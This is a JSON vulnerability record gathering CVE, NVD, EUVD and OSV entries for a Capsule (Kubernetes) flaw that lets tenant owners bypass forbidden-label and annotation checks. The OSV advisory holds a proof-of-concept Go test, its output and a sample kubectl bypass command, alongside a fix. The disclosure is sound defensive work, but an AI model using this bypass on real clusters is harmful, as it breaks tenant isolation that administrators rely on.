{"id":"GHSA-gjw4-3v3v-rqxg","revision":null,"records":[{"revision":"aa37ff5608ab4d559e71dc0d4ac46609","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-61672","aliases":[],"title":"Capsule: Tenant owner bypasses Capsule's forbidden namespace/service/node label and annotation enforcement","description":"Capsule is a multi-tenancy and policy-based framework for Kubernetes. Prior to 0.13.7, ForbiddenListSpec.ExactMatch in pkg/api/forbidden_list.go sorts denied metadata keys case-insensitively and then uses sort.SearchStrings, which assumes byte-order sorting. When an administrator's forbidden list mixes capitalized and lowercase keys or otherwise has different case-insensitive and byte ordering, the binary search can return false for a key that is present. An authenticated tenant owner can then pass the missed key through api.ValidateForbidden and bypass configured namespace, Service, or delegated node metadata restrictions, potentially influencing cluster policies, network exposure, or scheduling outside the tenant boundary. Uniformly lowercase lists whose two orderings coincide are not affected. This issue is fixed in version 0.13.7.","state":0,"publishedAt":"2026-09-18T16:29:23.339+00:00","modifiedAt":"2026-09-22T14:57:51.81+00:00","affected":[{"ecosystem":"Vendor product","name":"capsule","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"projectcapsule\",\n                    \"product\": \"capsule\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.13.7\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/projectcapsule/capsule/security/advisories/GHSA-gjw4-3v3v-rqxg","https://github.com/projectcapsule/capsule/pull/1982","https://github.com/projectcapsule/capsule/commit/755cef54bf4a1bc56d6692130132bc70755bef46","https://github.com/projectcapsule/capsule/releases/tag/v0.13.7"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-61672","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-61672","identifiers":["CVE-2026-61672"]},"retained":false,"historicalAffected":[]},{"revision":"c7cdae028650422cb086ea720e9b26c7","observedAt":"2026-11-11T15:02:54.996+00:00","statement":{"source":"euvd","id":"EUVD-2026-83164","aliases":["CVE-2026-61672","GHSA-gjw4-3v3v-rqxg"],"title":"Capsule is a multi-tenancy and policy-based framework for Kubernetes. Prior to 0.13.7, ForbiddenListSpec.ExactMatch in pkg/api/forbidden_list.go sorts denied metadata keys case-insensitively and then uses sort.SearchStrings, which assumes b…","description":"Capsule is a multi-tenancy and policy-based framework for Kubernetes. Prior to 0.13.7, ForbiddenListSpec.ExactMatch in pkg/api/forbidden_list.go sorts denied metadata keys case-insensitively and then uses sort.SearchStrings, which assumes byte-order sorting. When an administrator's forbidden list mixes capitalized and lowercase keys or otherwise has different case-insensitive and byte ordering, the binary search can return false for a key that is present. An authenticated tenant owner can then pass the missed key through api.ValidateForbidden and bypass configured namespace, Service, or delegated node metadata restrictions, potentially influencing cluster policies, network exposure, or scheduling outside the tenant boundary. Uniformly lowercase lists whose two orderings coincide are not affected. This issue is fixed in version 0.13.7.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N","score":7.1,"severity":null}],"references":["https://github.com/projectcapsule/capsule/security/advisories/GHSA-gjw4-3v3v-rqxg","https://github.com/projectcapsule/capsule/pull/1982","https://github.com/projectcapsule/capsule/commit/755cef54bf4a1bc56d6692130132bc70755bef46","https://github.com/projectcapsule/capsule/releases/tag/v0.13.7"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-83164","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 18, 2026, 4:29:23 PM","dateUpdated":"Sep 22, 2026, 2:57:51 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-83164","identifiers":["EUVD-2026-83164","CVE-2026-61672","GHSA-gjw4-3v3v-rqxg"]},"retained":false,"historicalAffected":[]},{"revision":"82dff02dc63b4186b9b68b740d90f000","observedAt":"2026-10-25T14:19:22.811+00:00","statement":{"source":"nvd","id":"CVE-2026-61672","aliases":[],"title":"Capsule is a multi-tenancy and policy-based framework for Kubernetes. Prior to 0.13.7, ForbiddenListSpec.ExactMatch in pkg/api/forbidden_list.go sorts denied metadata keys case-insensitively and then uses sort.SearchStrings, which assumes b…","description":"Capsule is a multi-tenancy and policy-based framework for Kubernetes. Prior to 0.13.7, ForbiddenListSpec.ExactMatch in pkg/api/forbidden_list.go sorts denied metadata keys case-insensitively and then uses sort.SearchStrings, which assumes byte-order sorting. When an administrator's forbidden list mixes capitalized and lowercase keys or otherwise has different case-insensitive and byte ordering, the binary search can return false for a key that is present. An authenticated tenant owner can then pass the missed key through api.ValidateForbidden and bypass configured namespace, Service, or delegated node metadata restrictions, potentially influencing cluster policies, network exposure, or scheduling outside the tenant boundary. Uniformly lowercase lists whose two orderings coincide are not affected. This issue is fixed in version 0.13.7.","state":0,"publishedAt":"2026-09-18T17:16:58.537+00:00","modifiedAt":"2026-09-24T21:25:27.05+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/projectcapsule/capsule/commit/755cef54bf4a1bc56d6692130132bc70755bef46","https://github.com/projectcapsule/capsule/pull/1982","https://github.com/projectcapsule/capsule/releases/tag/v0.13.7","https://github.com/projectcapsule/capsule/security/advisories/GHSA-gjw4-3v3v-rqxg"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-61672","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-697","CWE-863"],"productCriteria":[],"sourceDates":{"published":"2026-09-18T17:16:58.537","lastModified":"2026-09-24T21:25:27.050"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-61672","identifiers":["CVE-2026-61672"]},"retained":false,"historicalAffected":[]},{"revision":"76895198feb24e208fd3f052dcf6ebc7","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-gjw4-3v3v-rqxg","aliases":["CVE-2026-61672","GO-2026-6520"],"title":"Capsule: Tenant owner bypasses Capsule's forbidden namespace/service/node label and annotation enforcement","description":"## Summary\n\nCapsule lets a cluster administrator forbid specific metadata keys that tenant owners must not place on their own resources: `Tenant.spec.namespaceOptions.forbiddenLabels` / `forbiddenAnnotations` (namespaces), `Tenant.spec.serviceOptions.forbiddenLabels` / `forbiddenAnnotations` (Services), and the cluster-wide forbidden worker-node labels/annotations. These lists are an isolation control — they exist to stop a tenant owner from setting metadata that other controllers or admission plugins key on (Pod Security Admission labels, `kubernetes.io/metadata.name`, LoadBalancer/externalIP service annotations, scheduler annotations, vendor labels that grant network reach, etc.). The validating webhooks enforce them through `api.ValidateForbidden`, which calls `ForbiddenListSpec.ExactMatch(key)` for every key the tenant submits.\n\n`ExactMatch` is broken. It sorts the denied list **case-insensitively** (`sort.SliceStable` with a `strings.ToLower` comparator) and then performs a **byte-order binary search** (`sort.SearchStrings`) over the result. `sort.SearchStrings` is only correct on a slice sorted in plain byte-ascending order. Whenever the denied list contains an entry whose case-insensitive position differs from its byte position — which happens any time the list mixes a capitalised key with lowercase keys, because ASCII uppercase letters (0x41–0x5A) sort *before* lowercase (0x61–0x7A) by byte but are interleaved by `ToLower` — the binary search lands on the wrong index and `ExactMatch` returns **false for a key that is literally present in the denied list**. The webhook then *allows* the forbidden metadata.\n\nA tenant owner (who legitimately holds patch/create rights on their own tenant-owned namespaces and Services) can therefore set a metadata key the administrator explicitly forbade, defeating the control and reaching metadata-driven cross-tenant / system effects of exactly the kind Capsule's forbidden lists are meant to prevent. The bug is deterministic, requires no race, and is present unchanged on `main` HEAD.\n\n## Affected code (v0.13.5)\n\n`pkg/api/forbidden_list.go` — the comparison primitive:\n\n```go\nfunc (in ForbiddenListSpec) ExactMatch(value string) (ok bool) {\n\tif len(in.Exact) > 0 {\n\t\tsort.SliceStable(in.Exact, func(i, j int) bool {\n\t\t\treturn strings.ToLower(in.Exact[i]) < strings.ToLower(in.Exact[j]) // case-INSENSITIVE order\n\t\t})\n\n\t\ti := sort.SearchStrings(in.Exact, value) // binary search assuming BYTE order\n\n\t\tok = i < len(in.Exact) && in.Exact[i] == value\n\t}\n\n\treturn ok\n}\n```\n\n`sort.SearchStrings` returns the smallest index `i` such that `in.Exact[i] >= value` under raw byte comparison. If the slice is not byte-sorted, that index is wrong and the subsequent `in.Exact[i] == value` equality check fails even though `value` is in the slice — a false \"not forbidden\".\n\n`pkg/api/forbidden_list.go` — the public entry point the webhooks call:\n\n```go\nfunc ValidateForbidden(metadata map[string]string, forbiddenList ForbiddenListSpec) error {\n\tif reflect.DeepEqual(ForbiddenListSpec{}, forbiddenList) {\n\t\treturn nil\n\t}\n\tfor key := range metadata {\n\t\tvar forbidden, matched bool\n\t\tforbidden = forbiddenList.ExactMatch(key)   // <-- buggy\n\t\tmatched = forbiddenList.RegexMatch(key)\n\t\tif forbidden || matched {\n\t\t\treturn NewForbiddenError(key, forbiddenList)\n\t\t}\n\t}\n\treturn nil\n}\n```\n\nReached from (all in `internal/webhook/`):\n\n- `namespace/validation/user_metadata.go` → `validateUserMetadata` → `api.ValidateForbidden(labels, options.ForbiddenLabels)` and `api.ValidateForbidden(annotations, options.ForbiddenAnnotations)`.\n- `service/validating.go` → `api.ValidateForbidden(svc.Labels, tnt.Spec.ServiceOptions.ForbiddenLabels)` and `...ForbiddenAnnotations`.\n- `node/user_metadata.go` → `getForbiddenNodeLabels` / `getForbiddenNodeAnnotations` call `forbiddenLabels.ExactMatch(...)` directly.\n\n(The sibling allow-list primitive `AllowedListSpec.ExactMatch` in `pkg/api/allowed_list.go` has the identical defect, but there the polarity is fail-closed — a missed match wrongly *denies* an allowed class — so it is a correctness annoyance, not a security bypass. The forbidden-list polarity is the one that fails open.)\n\n## Attacker model / precondition\n\nThe attacker is a **tenant owner** — an authenticated, non-cluster-admin principal who already holds Capsule's delegated rights to create/patch their own tenant-owned namespaces and the Services within them (the normal Capsule tenancy model). No additional Kubernetes privilege is required.\n\nThe single deployment precondition that bounds severity: the administrator's denied list must contain at least one entry whose case-insensitive sort order diverges from its byte order — in practice, **the list mixes at least one capitalised key with lowercase keys** (or contains non-ASCII keys). A list that is uniformly lowercase (the most common shape) sorts identically under both orders and is *not* affected; an empty list (the chart default) is not affected. Mixed-case denied lists are entirely realistic, however: administrators routinely deny vendor/product-capitalised keys (e.g. `OwnerReference`, `NetworkPolicy`, CamelCase operator labels) alongside lowercase `kubernetes.io/...` keys. Once a single CamelCase entry is present, the broken binary search can also drop *lowercase* entries that share no resemblance to it — in the PoC below, adding a `NetworkPolicy` entry causes the unrelated lowercase `kubernetes.io/metadata.name` entry to escape as well. Any such list silently develops one or more exploitable gaps, and the defender cannot tell from the configuration that enforcement is partially disabled — the webhook reports success.\n\nOnce the precondition holds, exploitation is deterministic and needs only a single `kubectl label`/`kubectl annotate` (or create) on a resource the tenant already controls.\n\n## Impact\n\nThe administrator's forbidden-metadata isolation control is partially and silently bypassable. Concrete consequences depend on which key the gap exposes, but all of them are precisely what the control was configured to stop:\n\n- **Namespace labels/annotations:** a tenant owner sets a label the admin forbade onto a tenant namespace — e.g. a Pod Security Admission `pod-security.kubernetes.io/enforce` override, a `kubernetes.io/metadata.name`-class identity label, or a label that a cluster NetworkPolicy / external controller selects on — re-introducing the multi-tenant-isolation break that Capsule's forbidden-label feature exists to prevent (the same class as the previously-fixed namespace-label-injection isolation issue).\n- **Service labels/annotations:** a tenant owner sets a forbidden Service annotation — e.g. a cloud LoadBalancer / `externalIPs` / internal-LB provider annotation the admin denied — influencing network exposure outside the tenant boundary.\n- **Node labels/annotations:** for tenants granted node-patch rights, a forbidden node label that the admin meant to protect can be modified, affecting scheduling/topology decisions cluster-wide.\n\nScope is Changed (the webhook protects resources and effects beyond the tenant's own boundary), confidentiality/integrity impact is real but gated by the mixed-case precondition and by which specific key the gap exposes — hence Medium, not High.\n\n## Proof of Concept (complete — runs on 127.0.0.1 only)\n\nThis PoC drives the *real* Capsule decision code (`pkg/api`) — the exact function the namespace/service/node webhooks call — with no network and no cluster. It demonstrates the bypass with a realistic mixed-case denied list and includes positive and negative controls so the result is unambiguous.\n\nStep 1 — fetch the exact source under test (offline thereafter):\n\n```bash\ngit clone --depth 1 --branch v0.13.5 https://github.com/projectcapsule/capsule.git\ncd capsule\ngit rev-parse HEAD   # expect 34262c5536604762090144b6f8aed3ef2780c18c\n```\n\nStep 2 — drop this test into the package under test, `pkg/api/forbidden_bypass_poc_test.go`. The denied list is a realistic three-key administrator policy: deny the namespace identity label `kubernetes.io/metadata.name`, the Pod Security Admission label `pod-security.kubernetes.io/enforce`, and a CamelCase `NetworkPolicy` label:\n\n```go\npackage api\n\nimport \"testing\"\n\n// Realistic admin policy: forbid three sensitive metadata keys.\nfunc denied() ForbiddenListSpec {\n\treturn ForbiddenListSpec{\n\t\tExact: []string{\n\t\t\t\"kubernetes.io/metadata.name\",\n\t\t\t\"pod-security.kubernetes.io/enforce\",\n\t\t\t\"NetworkPolicy\",\n\t\t},\n\t}\n}\n\n// The bug: keys that ARE in the denied list slip through ValidateForbidden,\n// i.e. the webhook would ALLOW forbidden metadata the tenant submits.\nfunc TestPoC_ForbiddenKeysBypassed(t *testing.T) {\n\tfor _, k := range []string{\"NetworkPolicy\", \"kubernetes.io/metadata.name\"} {\n\t\tif err := ValidateForbidden(map[string]string{k: \"owned\"}, denied()); err == nil {\n\t\t\tt.Errorf(\"BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key %q (list=%v)\", k, denied().Exact)\n\t\t} else {\n\t\t\tt.Logf(\"(no bypass) correctly denied %q: %v\", k, err)\n\t\t}\n\t}\n}\n\n// Positive control: a third denied key in the SAME list is still correctly\n// blocked — proving the policy genuinely forbids these keys and the harness is\n// wired right (i.e. the bypass above is selective, not a dead enforcement path).\nfunc TestPoC_PositiveControl_StillBlocked(t *testing.T) {\n\tif err := ValidateForbidden(map[string]string{\"pod-security.kubernetes.io/enforce\": \"privileged\"}, denied()); err == nil {\n\t\tt.Errorf(\"control failure: denied key 'pod-security.kubernetes.io/enforce' was NOT blocked\")\n\t}\n}\n\n// Negative control: a key the admin did NOT deny is correctly allowed,\n// proving the webhook is not simply denying everything.\nfunc TestPoC_NegativeControl_BenignAllowed(t *testing.T) {\n\tif err := ValidateForbidden(map[string]string{\"app.kubernetes.io/name\": \"frontend\"}, denied()); err != nil {\n\t\tt.Errorf(\"control failure: benign key was wrongly denied: %v\", err)\n\t}\n}\n\n// Direct primitive check, minimal repro of the root cause.\nfunc TestPoC_ExactMatch_RootCause(t *testing.T) {\n\tspec := ForbiddenListSpec{Exact: []string{\"B\", \"a\"}} // mixed case\n\tif !spec.ExactMatch(\"B\") {\n\t\tt.Errorf(\"ROOT CAUSE: ExactMatch(%q) returned false though %q is in %v\", \"B\", \"B\", spec.Exact)\n\t}\n}\n```\n\nStep 3 — run only these tests:\n\n```bash\ngo test ./pkg/api/ -run 'TestPoC_' -v\n```\n\nObserved output (Go 1.26, capsule v0.13.5):\n\n```\n=== RUN   TestPoC_ForbiddenKeysBypassed\n    forbidden_bypass_poc_test.go:21: BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key \"NetworkPolicy\" (list=[kubernetes.io/metadata.name pod-security.kubernetes.io/enforce NetworkPolicy])\n    forbidden_bypass_poc_test.go:21: BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key \"kubernetes.io/metadata.name\" (list=[kubernetes.io/metadata.name pod-security.kubernetes.io/enforce NetworkPolicy])\n--- FAIL: TestPoC_ForbiddenKeysBypassed (0.00s)\n=== RUN   TestPoC_PositiveControl_StillBlocked\n--- PASS: TestPoC_PositiveControl_StillBlocked (0.00s)\n=== RUN   TestPoC_NegativeControl_BenignAllowed\n--- PASS: TestPoC_NegativeControl_BenignAllowed (0.00s)\n=== RUN   TestPoC_ExactMatch_RootCause\n    forbidden_bypass_poc_test.go:49: ROOT CAUSE: ExactMatch(\"B\") returned false though \"B\" is in [a B]\n--- FAIL: TestPoC_ExactMatch_RootCause (0.00s)\nFAIL\nFAIL\tgithub.com/projectcapsule/capsule/pkg/api\t0.013s\n```\n\nInterpretation: both control tests PASS — within the very same denied list, `pod-security.kubernetes.io/enforce` is still correctly blocked and a benign key is allowed, so enforcement is alive and the policy genuinely forbids these keys. Yet `TestPoC_ForbiddenKeysBypassed` FAILS: two explicitly-denied keys — the namespace identity label `kubernetes.io/metadata.name` and the CamelCase `NetworkPolicy` label — were *allowed* by the exact function the namespace/service/node webhooks call. In a live cluster this is the difference between the admission webhook denying and permitting `kubectl label namespace <tenant-ns> NetworkPolicy=open` (or the equivalent on a Service or Node). `TestPoC_ExactMatch_RootCause` reduces the defect to its one-line cause.\n\nWhy it happens, concretely: `sort.SearchStrings` does a byte-order binary search but the slice was sorted by `strings.ToLower`. With the minimal `Exact = [\"B\",\"a\"]`, the `ToLower` comparator orders the slice `[\"a\",\"B\"]` (because `\"a\" < \"b\"`). `sort.SearchStrings([\"a\",\"B\"], \"B\")` returns the first index whose element byte-compares `>= \"B\"`; `\"a\"` is `0x61`, which is `>= \"B\"` (`0x42`), so it returns index 0, and `\"a\" != \"B\"` → reports not-found. The forbidden key `\"B\"` is thereby treated as allowed. The three-key policy above exhibits the same fault for two of its real entries while leaving the third correctly enforced — which is exactly why the gap is silent: the administrator sees *some* keys blocked and reasonably assumes the whole list works.\n\n## Remediation\n\nStop performing a byte-order binary search over a non-byte-sorted slice. Any of the following fixes it:\n\n- Simplest and allocation-free: replace the sort+`SearchStrings` with a direct membership test, and (recommended) build the denied list into a `map[string]struct{}` once at admission time:\n\n```go\nfunc (in ForbiddenListSpec) ExactMatch(value string) bool {\n\tfor _, e := range in.Exact {\n\t\tif e == value {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n```\n\n- If a binary search is desired for large lists, sort and search under the **same** ordering: sort with plain `<` (drop the `ToLower` comparator) so the slice matches what `sort.SearchStrings` assumes, then keep the `i < len && in.Exact[i] == value` guard.\n\nApply the identical fix to `AllowedListSpec.ExactMatch` in `pkg/api/allowed_list.go` (same defect, fail-closed today but still incorrect and a latent denial). Also note that `ExactMatch` currently mutates the caller-shared `in.Exact` slice in place via `sort.SliceStable`; the map-based or copy-before-sort form additionally removes that shared-state mutation. Decide deliberately whether forbidden-key matching should be case-sensitive (it is today, post-fix) — if case-insensitive matching is intended, lowercase both the stored keys and the lookup value explicitly rather than relying on a mismatched sort/search pair.\n\nPlease credit 5ud0 / Tarmo Technologies.","state":0,"publishedAt":"2026-09-18T17:14:31+00:00","modifiedAt":"2026-09-28T17:10:41.7698584+00:00","affected":[{"ecosystem":"Go","name":"github.com/projectcapsule/capsule","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.13.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/projectcapsule/capsule/security/advisories/GHSA-gjw4-3v3v-rqxg","https://github.com/projectcapsule/capsule/pull/1982","https://github.com/projectcapsule/capsule/commit/755cef54bf4a1bc56d6692130132bc70755bef46","https://github.com/projectcapsule/capsule","https://github.com/projectcapsule/capsule/releases/tag/v0.13.7"],"sourceUrl":"https://github.com/advisories/GHSA-gjw4-3v3v-rqxg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-gjw4-3v3v-rqxg","identifiers":["GHSA-gjw4-3v3v-rqxg","CVE-2026-61672","GO-2026-6520"]},"retained":false,"historicalAffected":[]},{"revision":"e350a208e1854f868bce816fb950f54d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6520","aliases":["CVE-2026-61672","GHSA-gjw4-3v3v-rqxg"],"title":"Capsule: Tenant owner bypasses Capsule's forbidden namespace/service/node label and annotation enforcement in github.com/projectcapsule/capsule","description":"Capsule: Tenant owner bypasses Capsule's forbidden namespace/service/node label and annotation enforcement in github.com/projectcapsule/capsule","state":0,"publishedAt":"2026-09-28T16:43:40+00:00","modifiedAt":"2026-09-28T17:00:16.354051+00:00","affected":[{"ecosystem":"Go","name":"github.com/projectcapsule/capsule","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.13.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/projectcapsule/capsule/security/advisories/GHSA-gjw4-3v3v-rqxg","https://github.com/projectcapsule/capsule/commit/755cef54bf4a1bc56d6692130132bc70755bef46","https://github.com/projectcapsule/capsule/pull/1982","https://github.com/projectcapsule/capsule/releases/tag/v0.13.7"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6520","license":"OSV · upstream source license applies","key":"osv:GO-2026-6520","identifiers":["GO-2026-6520","CVE-2026-61672","GHSA-gjw4-3v3v-rqxg"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T07:54:58.2349119+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T07:54:58.2349119+00:00","lastSuccessAt":"2026-11-12T07:54:58.4848198+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.4848225+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-1225a640a70b576ed1a85d2671a302d70a8e18168f570c1f4912faf8f66b1119","complete":true,"records":424623,"lastAttemptAt":"2026-11-12T07:53:22.876714+00:00","lastSuccessAt":"2026-11-12T07:53:22.8444514+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:53:22.876714+00:00","snapshotPublishedAt":"2026-11-12T07:24:53+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-570328139368428ca550af1570d01579","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T07:55:38.9446123+00:00","lastSuccessAt":"2026-11-12T06:55:06.923+00:00","error":null,"lastVerifiedAt":"2026-11-12T06:55:06.923+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T07:54:58.2349119+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T07:54:58.2349119+00:00","lastSuccessAt":"2026-11-12T07:54:58.4862124+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.4862143+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-8017f5c1a44c430b920cd4f30d507e78","complete":true,"records":13760,"lastAttemptAt":"2026-11-12T07:55:38.3687422+00:00","lastSuccessAt":"2026-11-12T07:55:38.365+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:55:38.365+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T07:54:58.021445+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.021445+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T07:53:23.1198989+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:53:23.1198989+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-12T07:54:58.1995224+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:58.1995224+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-3c15e3b4b3da393566ac7be69c095bef52c252ec437d24c4c6ea68ed9e4af0f5","complete":true,"records":231700,"lastAttemptAt":"2026-11-12T07:54:57.8931777+00:00","lastSuccessAt":"2026-11-12T07:54:56.4668314+00:00","error":null,"lastVerifiedAt":"2026-11-12T07:54:57.8931777+00:00","snapshotPublishedAt":"2026-11-12T07:33:19+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}